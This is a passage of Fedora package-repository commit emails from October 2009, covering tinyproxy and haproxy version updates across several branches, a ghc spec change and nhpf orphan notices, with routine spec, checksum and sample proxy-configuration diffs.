+2b2862ba33d2939e4572688d442ba415  tinyproxy-1.6.5.tar.gz


Index: tinyproxy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tinyproxy/F-10/tinyproxy.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- tinyproxy.spec	22 Nov 2008 22:13:01 -0000	1.4
+++ tinyproxy.spec	12 Oct 2009 02:02:20 -0000	1.5
@@ -2,8 +2,8 @@
 %define tinyproxy_datadir %{_datadir}/tinyproxy
 
 Name:           tinyproxy
-Version:        1.6.4
-Release:        3%{?dist}
+Version:        1.6.5
+Release:        1%{?dist}
 Summary:        A small, efficient HTTP/SSL proxy daemon
 
 Group:          System Environment/Daemons
@@ -87,6 +87,15 @@ fi  
 %config(noreplace) %{tinyproxy_confdir}/%{name}.conf
 
 %changelog
+* Sun Oct 11 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.6.5-1
+- update to upstream 1.6.5
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.6.4-5
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.6.4-4
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
 * Sat Nov 22 2008 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.6.4-3
 - add --enable-transparent-proxy option (#466808)
 



From jjh at fedoraproject.org  Mon Oct 12 02:03:21 2009
From: jjh at fedoraproject.org (jjh)
Date: Mon, 12 Oct 2009 02:03:21 +0000 (UTC)
Subject: rpms/tinyproxy/F-11 .cvsignore, 1.3, 1.4 sources, 1.4,
	1.5 tinyproxy.spec, 1.5, 1.6
Message-ID: <20091012020321.79F5011C00EC@cvs1.fedora.phx.redhat.com>

Author: jjh

Update of /cvs/pkgs/rpms/tinyproxy/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4379

Modified Files:
	.cvsignore sources tinyproxy.spec 
Log Message:
update to 1.6.5


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/tinyproxy/F-11/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	22 Jun 2008 22:15:59 -0000	1.3
+++ .cvsignore	12 Oct 2009 02:03:21 -0000	1.4
@@ -1 +1,2 @@
 tinyproxy-1.6.4.tar.gz
+tinyproxy-1.6.5.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/tinyproxy/F-11/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	30 Aug 2008 20:01:17 -0000	1.4
+++ sources	12 Oct 2009 02:03:21 -0000	1.5
@@ -1 +1,2 @@
 3157b9159a8d005f4248cf4d4d6c65e2  tinyproxy-1.6.4.tar.gz
+2b2862ba33d2939e4572688d442ba415  tinyproxy-1.6.5.tar.gz


Index: tinyproxy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tinyproxy/F-11/tinyproxy.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- tinyproxy.spec	25 Feb 2009 20:51:31 -0000	1.5
+++ tinyproxy.spec	12 Oct 2009 02:03:21 -0000	1.6
@@ -2,8 +2,8 @@
 %define tinyproxy_datadir %{_datadir}/tinyproxy
 
 Name:           tinyproxy
-Version:        1.6.4
-Release:        4%{?dist}
+Version:        1.6.5
+Release:        1%{?dist}
 Summary:        A small, efficient HTTP/SSL proxy daemon
 
 Group:          System Environment/Daemons
@@ -87,6 +87,12 @@ fi  
 %config(noreplace) %{tinyproxy_confdir}/%{name}.conf
 
 %changelog
+* Sun Oct 11 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.6.5-1
+- update to upstream 1.6.5
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.6.4-5
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.6.4-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 



From jjh at fedoraproject.org  Mon Oct 12 02:04:24 2009
From: jjh at fedoraproject.org (jjh)
Date: Mon, 12 Oct 2009 02:04:24 +0000 (UTC)
Subject: rpms/tinyproxy/F-12 .cvsignore, 1.3, 1.4 sources, 1.4,
	1.5 tinyproxy.spec, 1.6, 1.7
Message-ID: <20091012020424.C962211C00EC@cvs1.fedora.phx.redhat.com>

Author: jjh

Update of /cvs/pkgs/rpms/tinyproxy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4683

Modified Files:
	.cvsignore sources tinyproxy.spec 
Log Message:
update to 1.6.5


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/tinyproxy/F-12/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	22 Jun 2008 22:15:59 -0000	1.3
+++ .cvsignore	12 Oct 2009 02:04:24 -0000	1.4
@@ -1 +1,2 @@
 tinyproxy-1.6.4.tar.gz
+tinyproxy-1.6.5.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/tinyproxy/F-12/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	30 Aug 2008 20:01:17 -0000	1.4
+++ sources	12 Oct 2009 02:04:24 -0000	1.5
@@ -1 +1,2 @@
 3157b9159a8d005f4248cf4d4d6c65e2  tinyproxy-1.6.4.tar.gz
+2b2862ba33d2939e4572688d442ba415  tinyproxy-1.6.5.tar.gz


Index: tinyproxy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tinyproxy/F-12/tinyproxy.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- tinyproxy.spec	27 Jul 2009 05:59:32 -0000	1.6
+++ tinyproxy.spec	12 Oct 2009 02:04:24 -0000	1.7
@@ -2,8 +2,8 @@
 %define tinyproxy_datadir %{_datadir}/tinyproxy
 
 Name:           tinyproxy
-Version:        1.6.4
-Release:        5%{?dist}
+Version:        1.6.5
+Release:        1%{?dist}
 Summary:        A small, efficient HTTP/SSL proxy daemon
 
 Group:          System Environment/Daemons
@@ -87,6 +87,9 @@ fi  
 %config(noreplace) %{tinyproxy_confdir}/%{name}.conf
 
 %changelog
+* Sun Oct 11 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.6.5-1
+- update to upstream 1.6.5
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.6.4-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From jjh at fedoraproject.org  Mon Oct 12 02:14:24 2009
From: jjh at fedoraproject.org (jjh)
Date: Mon, 12 Oct 2009 02:14:24 +0000 (UTC)
Subject: rpms/tinyproxy/EL-4 .cvsignore, 1.3, 1.4 sources, 1.3,
	1.4 tinyproxy.spec, 1.2, 1.3
Message-ID: <20091012021424.8BAE511C00EC@cvs1.fedora.phx.redhat.com>

Author: jjh

Update of /cvs/pkgs/rpms/tinyproxy/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6214

Modified Files:
	.cvsignore sources tinyproxy.spec 
Log Message:
update to 1.6.5


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/tinyproxy/EL-4/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	22 Nov 2008 22:04:20 -0000	1.3
+++ .cvsignore	12 Oct 2009 02:14:24 -0000	1.4
@@ -1 +1,2 @@
 tinyproxy-1.6.4.tar.gz
+tinyproxy-1.6.5.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/tinyproxy/EL-4/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	22 Nov 2008 22:04:20 -0000	1.3
+++ sources	12 Oct 2009 02:14:24 -0000	1.4
@@ -1 +1,2 @@
 3157b9159a8d005f4248cf4d4d6c65e2  tinyproxy-1.6.4.tar.gz
+2b2862ba33d2939e4572688d442ba415  tinyproxy-1.6.5.tar.gz


Index: tinyproxy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tinyproxy/EL-4/tinyproxy.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- tinyproxy.spec	22 Nov 2008 22:04:20 -0000	1.2
+++ tinyproxy.spec	12 Oct 2009 02:14:24 -0000	1.3
@@ -2,7 +2,7 @@
 %define tinyproxy_datadir %{_datadir}/tinyproxy
 
 Name:           tinyproxy
-Version:        1.6.4
+Version:        1.6.5
 Release:        1%{?dist}
 Summary:        A small, efficient HTTP/SSL proxy daemon
 
@@ -12,6 +12,7 @@ URL:            https://projects.banu.co
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 Source0:        http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.gz
+Source0:        https://www.banu.com/pub/%{name}/1.6/%{name}-%{version}.tar.gz
 Source1:        %{name}.init
 Source2:        %{name}.conf
 
@@ -86,6 +87,9 @@ fi  
 %config(noreplace) %{tinyproxy_confdir}/%{name}.conf
 
 %changelog
+* Sun Oct 11 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.6.5-1
+- update to 1.6.4
+
 * Sat Nov 22 2008 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.6.4-1
 - update to 1.6.4
 - enable transparent proxy



From jjh at fedoraproject.org  Mon Oct 12 02:15:43 2009
From: jjh at fedoraproject.org (jjh)
Date: Mon, 12 Oct 2009 02:15:43 +0000 (UTC)
Subject: rpms/tinyproxy/EL-4 tinyproxy.spec,1.3,1.4
Message-ID: <20091012021543.6766D11C00EC@cvs1.fedora.phx.redhat.com>

Author: jjh

Update of /cvs/pkgs/rpms/tinyproxy/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6482

Modified Files:
	tinyproxy.spec 
Log Message:
remove extra source0


Index: tinyproxy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tinyproxy/EL-4/tinyproxy.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- tinyproxy.spec	12 Oct 2009 02:14:24 -0000	1.3
+++ tinyproxy.spec	12 Oct 2009 02:15:43 -0000	1.4
@@ -11,7 +11,6 @@ License:        GPLv2+
 URL:            https://projects.banu.com/tinyproxy/
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-Source0:        http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.gz
 Source0:        https://www.banu.com/pub/%{name}/1.6/%{name}-%{version}.tar.gz
 Source1:        %{name}.init
 Source2:        %{name}.conf



From jjh at fedoraproject.org  Mon Oct 12 02:16:27 2009
From: jjh at fedoraproject.org (jjh)
Date: Mon, 12 Oct 2009 02:16:27 +0000 (UTC)
Subject: rpms/tinyproxy/EL-5 .cvsignore, 1.3, 1.4 sources, 1.3,
	1.4 tinyproxy.spec, 1.2, 1.3
Message-ID: <20091012021627.CBAED11C00EC@cvs1.fedora.phx.redhat.com>

Author: jjh

Update of /cvs/pkgs/rpms/tinyproxy/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6660

Modified Files:
	.cvsignore sources tinyproxy.spec 
Log Message:
update to 1.6.5


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/tinyproxy/EL-5/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	22 Nov 2008 22:09:13 -0000	1.3
+++ .cvsignore	12 Oct 2009 02:16:27 -0000	1.4
@@ -1 +1,2 @@
 tinyproxy-1.6.4.tar.gz
+tinyproxy-1.6.5.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/tinyproxy/EL-5/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	22 Nov 2008 22:09:13 -0000	1.3
+++ sources	12 Oct 2009 02:16:27 -0000	1.4
@@ -1 +1,2 @@
 3157b9159a8d005f4248cf4d4d6c65e2  tinyproxy-1.6.4.tar.gz
+2b2862ba33d2939e4572688d442ba415  tinyproxy-1.6.5.tar.gz


Index: tinyproxy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tinyproxy/EL-5/tinyproxy.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- tinyproxy.spec	22 Nov 2008 22:09:13 -0000	1.2
+++ tinyproxy.spec	12 Oct 2009 02:16:27 -0000	1.3
@@ -2,7 +2,7 @@
 %define tinyproxy_datadir %{_datadir}/tinyproxy
 
 Name:           tinyproxy
-Version:        1.6.4
+Version:        1.6.5
 Release:        1%{?dist}
 Summary:        A small, efficient HTTP/SSL proxy daemon
 
@@ -11,7 +11,7 @@ License:        GPLv2+
 URL:            https://projects.banu.com/tinyproxy/
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-Source0:        http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.gz
+Source0:        https://www.banu.com/pub/%{name}/1.6/%{name}-%{version}.tar.gz
 Source1:        %{name}.init
 Source2:        %{name}.conf
 
@@ -86,6 +86,9 @@ fi  
 %config(noreplace) %{tinyproxy_confdir}/%{name}.conf
 
 %changelog
+* Sun Oct 11 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.6.5-1
+- update to 1.6.4
+
 * Sat Nov 22 2008 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.6.4-1
 - update to 1.6.4
 - enable transparent proxy



From pkgdb at fedoraproject.org  Mon Oct 12 02:31:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 02:31:29 +0000
Subject: [pkgdb] nhpf ownership updated
Message-ID: <20091012023129.823DD10F87E@bastion2.fedora.phx.redhat.com>

Package nhpf in Fedora devel was orphaned by cchance

To make changes to this package see:
  /pkgdb/packages/name/nhpf



From pkgdb at fedoraproject.org  Mon Oct 12 02:31:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 02:31:32 +0000
Subject: [pkgdb] nhpf ownership updated
Message-ID: <20091012023132.7A6C810F882@bastion2.fedora.phx.redhat.com>

Package nhpf in Fedora 7 was orphaned by cchance

To make changes to this package see:
  /pkgdb/packages/name/nhpf



From pkgdb at fedoraproject.org  Mon Oct 12 02:31:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 02:31:40 +0000
Subject: [pkgdb] nhpf ownership updated
Message-ID: <20091012023141.0C5E110F87E@bastion2.fedora.phx.redhat.com>

Package nhpf in Fedora 8 was orphaned by cchance

To make changes to this package see:
  /pkgdb/packages/name/nhpf



From pkgdb at fedoraproject.org  Mon Oct 12 02:31:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 02:31:45 +0000
Subject: [pkgdb] nhpf ownership updated
Message-ID: <20091012023145.0D52510F87F@bastion2.fedora.phx.redhat.com>

Package nhpf in Fedora 9 was orphaned by cchance

To make changes to this package see:
  /pkgdb/packages/name/nhpf



From pkgdb at fedoraproject.org  Mon Oct 12 02:31:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 02:31:48 +0000
Subject: [pkgdb] nhpf ownership updated
Message-ID: <20091012023148.9FAE310F875@bastion2.fedora.phx.redhat.com>

Package nhpf in Fedora 10 was orphaned by cchance

To make changes to this package see:
  /pkgdb/packages/name/nhpf



From pkgdb at fedoraproject.org  Mon Oct 12 02:31:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 02:31:50 +0000
Subject: [pkgdb] nhpf ownership updated
Message-ID: <20091012023150.D862410F88B@bastion2.fedora.phx.redhat.com>

Package nhpf in Fedora 11 was orphaned by cchance

To make changes to this package see:
  /pkgdb/packages/name/nhpf



From pkgdb at fedoraproject.org  Mon Oct 12 02:31:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 02:31:52 +0000
Subject: [pkgdb] nhpf ownership updated
Message-ID: <20091012023152.81AC310F882@bastion2.fedora.phx.redhat.com>

Package nhpf in Fedora 12 was orphaned by cchance

To make changes to this package see:
  /pkgdb/packages/name/nhpf



From bos at fedoraproject.org  Mon Oct 12 02:48:15 2009
From: bos at fedoraproject.org (Bryan O'Sullivan)
Date: Mon, 12 Oct 2009 02:48:15 +0000 (UTC)
Subject: rpms/ghc/devel ghc.spec,1.99,1.100
Message-ID: <20091012024815.6D78F11C00EC@cvs1.fedora.phx.redhat.com>

Author: bos

Update of /cvs/extras/rpms/ghc/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12823

Modified Files:
	ghc.spec 
Log Message:
Figure out how to install docs


Index: ghc.spec
===================================================================
RCS file: /cvs/extras/rpms/ghc/devel/ghc.spec,v
retrieving revision 1.99
retrieving revision 1.100
diff -u -p -r1.99 -r1.100
--- ghc.spec	12 Oct 2009 01:18:42 -0000	1.99
+++ ghc.spec	12 Oct 2009 02:48:15 -0000	1.100
@@ -139,7 +139,7 @@ echo "XMLDocWays = html" >> mk/build.mk
 make %{_smp_mflags}
 
 %if %{with manual}
-make %{_smp_mflags} html
+echo XXX no longer supported - make %{_smp_mflags} html
 %endif
 
 %install
@@ -148,7 +148,7 @@ rm -rf $RPM_BUILD_ROOT
 make DESTDIR=${RPM_BUILD_ROOT} install
 
 %if %{with manual}
-make DESTDIR=${RPM_BUILD_ROOT} install-docs
+echo XXX unnecessary make DESTDIR=${RPM_BUILD_ROOT} install-docs
 %endif
 
 SRC_TOP=$PWD



From jjh at fedoraproject.org  Mon Oct 12 03:14:42 2009
From: jjh at fedoraproject.org (jjh)
Date: Mon, 12 Oct 2009 03:14:42 +0000 (UTC)
Subject: rpms/haproxy/devel .cvsignore, 1.14, 1.15 haproxy.cfg, 1.1,
	1.2 haproxy.spec, 1.21, 1.22 sources, 1.14, 1.15
Message-ID: <20091012031442.E2F1011C00E5@cvs1.fedora.phx.redhat.com>

Author: jjh

Update of /cvs/pkgs/rpms/haproxy/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16535

Modified Files:
	.cvsignore haproxy.cfg haproxy.spec sources 
Log Message:
update to 1.3.20


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/devel/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	2 Aug 2009 23:20:20 -0000	1.14
+++ .cvsignore	12 Oct 2009 03:14:40 -0000	1.15
@@ -1 +1,2 @@
 haproxy-1.3.19.tar.gz
+haproxy-1.3.20.tar.gz


Index: haproxy.cfg
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/devel/haproxy.cfg,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- haproxy.cfg	21 Sep 2007 17:26:59 -0000	1.1
+++ haproxy.cfg	12 Oct 2009 03:14:40 -0000	1.2
@@ -1,79 +1,67 @@
-# this config needs haproxy-1.1.28 or haproxy-1.2.1
-
+#---------------------------------------------------------------------
+# Example configuration for a possible web application.  See the
+# full configuration options online.
+#
+#   http://haproxy.1wt.eu/download/1.3/doc/configuration.txt
+#
+# or locally in /usr/share/doc/haproxy-1.3.20/
+#
+#---------------------------------------------------------------------
+
+#---------------------------------------------------------------------
+# Global settings
+#---------------------------------------------------------------------
 global
-	log 127.0.0.1	local0
-	log 127.0.0.1	local1 notice
-	#log loghost	local0 info
-	maxconn 4096
-	chroot /var/lib/haproxy
-	user haproxy
-	group haproxy
-	daemon
-	#debug
-	#quiet
-
+    log         127.0.0.1 local2 
+    chroot      /var/lib/haproxy
+    pidfile     /var/run/haproxy.pid
+    maxconn     4000
+    user        haproxy
+    group       haproxy
+    daemon
+
+#---------------------------------------------------------------------
+# common defaults that all the 'listen' and 'backend' sections will 
+# use if not designated in their block
+#---------------------------------------------------------------------
 defaults
-	log	global
-	mode	http
-	option	httplog
-	option	dontlognull
-	retries	3
-	redispatch
-	maxconn	2000
-	contimeout	5000
-	clitimeout	50000
-	srvtimeout	50000
-
-listen	appli1-rewrite 0.0.0.0:10001
-	cookie	SERVERID rewrite
-	balance	roundrobin
-	server	app1_1 192.168.34.23:8080 cookie app1inst1 check inter 2000 rise 2 fall 5
-	server	app1_2 192.168.34.32:8080 cookie app1inst2 check inter 2000 rise 2 fall 5
-	server	app1_3 192.168.34.27:8080 cookie app1inst3 check inter 2000 rise 2 fall 5
-	server	app1_4 192.168.34.42:8080 cookie app1inst4 check inter 2000 rise 2 fall 5
-
-listen	appli2-insert 0.0.0.0:10002
-	option	httpchk
-	balance	roundrobin
-	cookie	SERVERID insert indirect nocache
-	server	inst1 192.168.114.56:80 cookie server01 check inter 2000 fall 3
-	server	inst2 192.168.114.56:81 cookie server02 check inter 2000 fall 3
-	capture cookie vgnvisitor= len 32
-
-	option	httpclose		# disable keep-alive
-	rspidel ^Set-cookie:\ IP=	# do not let this cookie tell our internal IP address
-	
-listen	appli3-relais 0.0.0.0:10003
-	dispatch 192.168.135.17:80
-
-listen	appli4-backup 0.0.0.0:10004
-	option	httpchk /index.html
-	option	persist
-	balance	roundrobin
-	server	inst1 192.168.114.56:80 check inter 2000 fall 3
-	server	inst2 192.168.114.56:81 check inter 2000 fall 3 backup
-
-listen	ssl-relay 0.0.0.0:8443
-	option	ssl-hello-chk
-	balance	source
-	server	inst1 192.168.110.56:443 check inter 2000 fall 3
-	server	inst2 192.168.110.57:443 check inter 2000 fall 3
-	server	back1 192.168.120.58:443 backup
-
-listen	appli5-backup 0.0.0.0:10005
-	option	httpchk *
-	balance	roundrobin
-	cookie	SERVERID insert indirect nocache
-	server	inst1 192.168.114.56:80 cookie server01 check inter 2000 fall 3
-	server	inst2 192.168.114.56:81 cookie server02 check inter 2000 fall 3
-	server	inst3 192.168.114.57:80 backup check inter 2000 fall 3
-	capture cookie ASPSESSION len 32
-	srvtimeout	20000
-
-	option	httpclose		# disable keep-alive
-	option  checkcache		# block response if set-cookie & cacheable
-
-	rspidel ^Set-cookie:\ IP=	# do not let this cookie tell our internal IP address
-	
-	errorloc	502	http://192.168.114.58/error502.html
+    mode        http
+    log         global
+    option      dontlognull
+    option      httpclose
+    option      httplog
+    option      forwardfor
+    option      redispatch
+    timeout connect 10000 # default 10 second time out if a backend is not found
+    timeout client 300000
+    timeout server 300000
+    maxconn     60000
+    retries     3
+
+#---------------------------------------------------------------------
+# main frontend which proxys to the backends
+#---------------------------------------------------------------------
+frontend  main *:5000
+    acl url_static       path_beg       -i /static /images /javascript /stylesheets
+    acl url_static       path_end       -i .jpg .gif .png .css .js
+   
+    use_backend static          if url_static
+    default_backend             app
+   
+#---------------------------------------------------------------------
+# static backend for serving up images, stylesheets and such
+#---------------------------------------------------------------------
+backend static
+    balance     roundrobin
+    server      static 127.0.0.1:4331 check
+
+#---------------------------------------------------------------------
+# round robin balancing between the various backends
+#---------------------------------------------------------------------
+backend app
+    balance     roundrobin
+    server  app1 127.0.0.1:5001 check
+    server  app2 127.0.0.1:5002 check
+    server  app3 127.0.0.1:5003 check 
+    server  app4 127.0.0.1:5004 check
 


Index: haproxy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/devel/haproxy.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- haproxy.spec	2 Aug 2009 23:20:20 -0000	1.21
+++ haproxy.spec	12 Oct 2009 03:14:40 -0000	1.22
@@ -5,7 +5,7 @@
 %define haproxy_datadir %{_datadir}/haproxy
 
 Name:           haproxy
-Version:        1.3.19
+Version:        1.3.20
 Release:        1%{?dist}
 Summary:        HA-Proxy is a TCP/HTTP reverse proxy for high availability environments
 
@@ -127,7 +127,10 @@ fi  
 
 
 %changelog
-* Sun Aug 02 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> -  1.3.19-1
+* Sun Oct 11 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.3.20-1
+- update to 1.3.20
+
+* Sun Aug 02 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.3.19-1
 - update to 1.3.19
 
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.3.18-2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/devel/sources,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- sources	2 Aug 2009 23:20:20 -0000	1.14
+++ sources	12 Oct 2009 03:14:40 -0000	1.15
@@ -1 +1,2 @@
 24d9a068d582758a388f538ae0b307d6  haproxy-1.3.19.tar.gz
+e37046e0cb2f407d92c41d7731d1dd10  haproxy-1.3.20.tar.gz



From jjh at fedoraproject.org  Mon Oct 12 03:17:12 2009
From: jjh at fedoraproject.org (jjh)
Date: Mon, 12 Oct 2009 03:17:12 +0000 (UTC)
Subject: rpms/haproxy/F-12 .cvsignore, 1.14, 1.15 haproxy.cfg, 1.1,
	1.2 haproxy.spec, 1.21, 1.22 sources, 1.14, 1.15
Message-ID: <20091012031712.D039111C00E5@cvs1.fedora.phx.redhat.com>

Author: jjh

Update of /cvs/pkgs/rpms/haproxy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17052

Modified Files:
	.cvsignore haproxy.cfg haproxy.spec sources 
Log Message:
update to 1.3.20


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/F-12/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	2 Aug 2009 23:20:20 -0000	1.14
+++ .cvsignore	12 Oct 2009 03:17:12 -0000	1.15
@@ -1 +1,2 @@
 haproxy-1.3.19.tar.gz
+haproxy-1.3.20.tar.gz


Index: haproxy.cfg
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/F-12/haproxy.cfg,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- haproxy.cfg	21 Sep 2007 17:26:59 -0000	1.1
+++ haproxy.cfg	12 Oct 2009 03:17:12 -0000	1.2
@@ -1,79 +1,67 @@
-# this config needs haproxy-1.1.28 or haproxy-1.2.1
-
+#---------------------------------------------------------------------
+# Example configuration for a possible web application.  See the
+# full configuration options online.
+#
+#   http://haproxy.1wt.eu/download/1.3/doc/configuration.txt
+#
+# or locally in /usr/share/doc/haproxy-1.3.20/
+#
+#---------------------------------------------------------------------
+
+#---------------------------------------------------------------------
+# Global settings
+#---------------------------------------------------------------------
 global
-	log 127.0.0.1	local0
-	log 127.0.0.1	local1 notice
-	#log loghost	local0 info
-	maxconn 4096
-	chroot /var/lib/haproxy
-	user haproxy
-	group haproxy
-	daemon
-	#debug
-	#quiet
-
+    log         127.0.0.1 local2 
+    chroot      /var/lib/haproxy
+    pidfile     /var/run/haproxy.pid
+    maxconn     4000
+    user        haproxy
+    group       haproxy
+    daemon
+
+#---------------------------------------------------------------------
+# common defaults that all the 'listen' and 'backend' sections will 
+# use if not designated in their block
+#---------------------------------------------------------------------
 defaults
-	log	global
-	mode	http
-	option	httplog
-	option	dontlognull
-	retries	3
-	redispatch
-	maxconn	2000
-	contimeout	5000
-	clitimeout	50000
-	srvtimeout	50000
-
-listen	appli1-rewrite 0.0.0.0:10001
-	cookie	SERVERID rewrite
-	balance	roundrobin
-	server	app1_1 192.168.34.23:8080 cookie app1inst1 check inter 2000 rise 2 fall 5
-	server	app1_2 192.168.34.32:8080 cookie app1inst2 check inter 2000 rise 2 fall 5
-	server	app1_3 192.168.34.27:8080 cookie app1inst3 check inter 2000 rise 2 fall 5
-	server	app1_4 192.168.34.42:8080 cookie app1inst4 check inter 2000 rise 2 fall 5
-
-listen	appli2-insert 0.0.0.0:10002
-	option	httpchk
-	balance	roundrobin
-	cookie	SERVERID insert indirect nocache
-	server	inst1 192.168.114.56:80 cookie server01 check inter 2000 fall 3
-	server	inst2 192.168.114.56:81 cookie server02 check inter 2000 fall 3
-	capture cookie vgnvisitor= len 32
-
-	option	httpclose		# disable keep-alive
-	rspidel ^Set-cookie:\ IP=	# do not let this cookie tell our internal IP address
-	
-listen	appli3-relais 0.0.0.0:10003
-	dispatch 192.168.135.17:80
-
-listen	appli4-backup 0.0.0.0:10004
-	option	httpchk /index.html
-	option	persist
-	balance	roundrobin
-	server	inst1 192.168.114.56:80 check inter 2000 fall 3
-	server	inst2 192.168.114.56:81 check inter 2000 fall 3 backup
-
-listen	ssl-relay 0.0.0.0:8443
-	option	ssl-hello-chk
-	balance	source
-	server	inst1 192.168.110.56:443 check inter 2000 fall 3
-	server	inst2 192.168.110.57:443 check inter 2000 fall 3
-	server	back1 192.168.120.58:443 backup
-
-listen	appli5-backup 0.0.0.0:10005
-	option	httpchk *
-	balance	roundrobin
-	cookie	SERVERID insert indirect nocache
-	server	inst1 192.168.114.56:80 cookie server01 check inter 2000 fall 3
-	server	inst2 192.168.114.56:81 cookie server02 check inter 2000 fall 3
-	server	inst3 192.168.114.57:80 backup check inter 2000 fall 3
-	capture cookie ASPSESSION len 32
-	srvtimeout	20000
-
-	option	httpclose		# disable keep-alive
-	option  checkcache		# block response if set-cookie & cacheable
-
